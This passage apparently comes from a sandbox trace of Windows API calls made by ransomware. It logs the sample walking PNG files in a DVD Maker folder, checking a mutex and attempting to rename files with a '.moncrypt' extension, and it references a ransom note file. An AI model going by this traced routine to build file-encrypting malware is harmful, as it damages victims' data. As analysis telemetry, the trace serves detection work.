lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.702] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\1047x576black.pngc", lpUsedDefaultChar=0x0) returned 4 [0057.702] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0057.703] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0057.704] CloseHandle (hObject=0x18c) returned 1 [0057.704] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\я")) returned 1 [0057.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0057.705] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.705] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.705] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.705] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0057.706] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.706] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.moncrypt")) returned 0 [0057.706] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0057.706] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.706] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.706] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.706] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.706] GlobalUnlock (hMem=0x440004) returned 0 [0057.706] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.706] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.706] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.706] GlobalUnlock (hMem=0x440004) returned 0 [0057.706] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.706] GlobalUnlock (hMem=0x44000c) returned 0 [0057.706] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.713] CharLowerBuffW (in: lpsz="15x15dot.png", cchLength=0xc | out: lpsz="15x15dot.png") returned 0xc [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.713] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png", cchWideChar=65, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png", lpUsedDefaultChar=0x0) returned 65 [0057.713] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\15x15dot.png", lpUsedDefaultChar=0x0) returned 4 [0057.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 0x54e280 [0057.714] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.714] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.714] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.714] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png", dwFileAttributes=0x20) returned 0 [0057.715] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.715] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.moncrypt")) returned 0 [0057.715] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0057.715] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.715] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.715] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.715] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.715] GlobalUnlock (hMem=0x44000c) returned 0 [0057.715] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.715] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.715] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.715] GlobalUnlock (hMem=0x44000c) returned 0 [0057.715] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.715] GlobalUnlock (hMem=0x440004) returned 0 [0057.715] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.716] CharLowerBuffW (in: lpsz="colorcycle.png", cchLength=0xe | out: lpsz="colorcycle.png") returned 0xe [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.716] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png", cchWideChar=67, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png", lpUsedDefaultChar=0x0) returned 67 [0057.716] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\HueCycle\\colorcycle.png", lpUsedDefaultChar=0x0) returned 4 [0057.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 0x54e280 [0057.717] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.717] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.717] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.717] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png", dwFileAttributes=0x20) returned 0 [0057.717] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.717] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.moncrypt")) returned 0 [0057.717] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0057.718] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.718] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.718] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.718] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.718] GlobalUnlock (hMem=0x440004) returned 0 [0057.718] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.718] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.718] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.718] GlobalUnlock (hMem=0x440004) returned 0 [0057.718] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.718] GlobalUnlock (hMem=0x44000c) returned 0 [0057.718] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.718] CharLowerBuffW (in: lpsz="huemainsubpicture2.png", cchLength=0x16 | out: lpsz="huemainsubpicture2.png") returned 0x16 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, 